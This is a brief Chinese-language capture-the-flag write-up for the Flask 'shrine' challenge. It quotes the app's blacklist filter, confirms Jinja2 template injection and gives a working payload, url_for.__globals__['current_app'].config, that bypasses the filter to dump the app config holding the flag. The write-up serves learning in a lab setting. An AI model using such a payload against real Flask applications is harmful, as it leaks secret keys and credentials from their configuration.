shrine
打开链接,查看源码

代码审计
发现flask,考虑模板注入,@app.route后跟着路径,过滤
构造/shrine/{{1+1}},回显为2,判断是ssti
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个config,flag应该就在这里面,存在过滤
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
过滤了()括号,将config,self两个函数加入黑名单,并遍历为空
构造
/shrine/{{url_for.__globals__['current_app'].config}}

浙公网安备 33010602011771号